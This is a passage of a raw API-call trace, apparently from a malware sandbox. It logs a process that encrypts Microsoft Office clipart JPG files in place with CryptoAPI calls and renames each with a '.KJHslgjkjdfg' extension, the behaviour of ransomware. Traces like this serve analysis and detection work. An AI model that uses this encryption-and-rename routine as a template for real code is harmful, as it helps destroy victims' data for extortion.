SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.044] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x18890, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x18890, lpOverlapped=0x0) returned 1 [0184.044] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.044] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x18964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.044] SetEndOfFile (hFile=0x114) returned 1 [0184.047] GetProcessHeap () returned 0x2a0000 [0184.047] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.047] GetProcessHeap () returned 0x2a0000 [0184.047] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.047] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg.kjhslgjkjdfg")) returned 1 [0184.048] CloseHandle (hObject=0x114) returned 1 [0184.048] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16d08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382967.JPG", cAlternateFileName="")) returned 1 [0184.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.057] GetProcessHeap () returned 0x2a0000 [0184.057] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.057] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.057] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.057] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.059] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.059] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.059] GetProcessHeap () returned 0x2a0000 [0184.059] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.059] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.059] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.059] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.059] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.059] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.059] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.059] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.059] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.059] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.059] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.060] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.060] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16d08, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x16d08, lpOverlapped=0x0) returned 1 [0184.061] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16d10, dwBufLen=0x16d10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16d10) returned 1 [0184.062] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.062] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x16d10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x16d10, lpOverlapped=0x0) returned 1 [0184.063] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.063] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x16de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.063] SetEndOfFile (hFile=0x114) returned 1 [0184.065] GetProcessHeap () returned 0x2a0000 [0184.065] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.065] GetProcessHeap () returned 0x2a0000 [0184.065] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.065] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg.kjhslgjkjdfg")) returned 1 [0184.067] CloseHandle (hObject=0x114) returned 1 [0184.067] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b75f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382968.JPG", cAlternateFileName="")) returned 1 [0184.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.068] GetProcessHeap () returned 0x2a0000 [0184.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.068] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.068] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.068] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0184.070] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.070] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.070] GetProcessHeap () returned 0x2a0000 [0184.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.070] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.070] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.070] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.070] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.070] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.070] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.070] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.070] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.070] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.070] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.070] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.070] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b75f, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b75f, lpOverlapped=0x0) returned 1 [0184.072] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b760, dwBufLen=0x1b760 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b760) returned 1 [0184.073] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.073] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b760, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b760, lpOverlapped=0x0) returned 1 [0184.073] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.073] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1b834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.073] SetEndOfFile (hFile=0x114) returned 1 [0184.076] GetProcessHeap () returned 0x2a0000 [0184.076] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.076] GetProcessHeap () returned 0x2a0000 [0184.076] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.076] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg.kjhslgjkjdfg")) returned 1 [0184.078] CloseHandle (hObject=0x114) returned 1 [0184.078] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1779f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382969.JPG", cAlternateFileName="")) returned 1 [0184.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.079] GetProcessHeap () returned 0x2a0000 [0184.079] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.079] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.080] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.080] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0184.082] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.082] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.082] GetProcessHeap () returned 0x2a0000 [0184.082] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.082] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.082] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.082] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.082] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.082] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.082] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.082] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.082] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.083] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.083] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.083] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.083] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1779f, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1779f, lpOverlapped=0x0) returned 1 [0184.084] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x177a0, dwBufLen=0x177a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x177a0) returned 1 [0184.085] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.085] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x177a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x177a0, lpOverlapped=0x0) returned 1 [0184.085] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.085] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.085] SetEndOfFile (hFile=0x114) returned 1 [0184.088] GetProcessHeap () returned 0x2a0000 [0184.088] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.088] GetProcessHeap () returned 0x2a0000 [0184.088] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg.kjhslgjkjdfg")) returned 1 [0184.089] CloseHandle (hObject=0x114) returned 1 [0184.089] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15b94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382970.JPG", cAlternateFileName="")) returned 1 [0184.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.090] GetProcessHeap () returned 0x2a0000 [0184.090] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.090] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.090] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.090] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0184.095] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.095] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.095] GetProcessHeap () returned 0x2a0000 [0184.096] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.096] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.096] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.096] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.096] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.096] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.096] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.096] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.096] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.096] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.096] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.096] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.096] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x15b94, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x15b94, lpOverlapped=0x0) returned 1 [0184.098] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x15ba0, dwBufLen=0x15ba0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x15ba0) returned 1 [0184.099] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.099] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x15ba0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x15ba0, lpOverlapped=0x0) returned 1 [0184.099] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.099] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.099] SetEndOfFile (hFile=0x114) returned 1 [0184.102] GetProcessHeap () returned 0x2a0000 [0184.102] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.102] GetProcessHeap () returned 0x2a0000 [0184.102] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.102] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg.kjhslgjkjdfg")) returned 1 [0184.104] CloseHandle (hObject=0x114) returned 1 [0184.104] FindNextFileW (in: 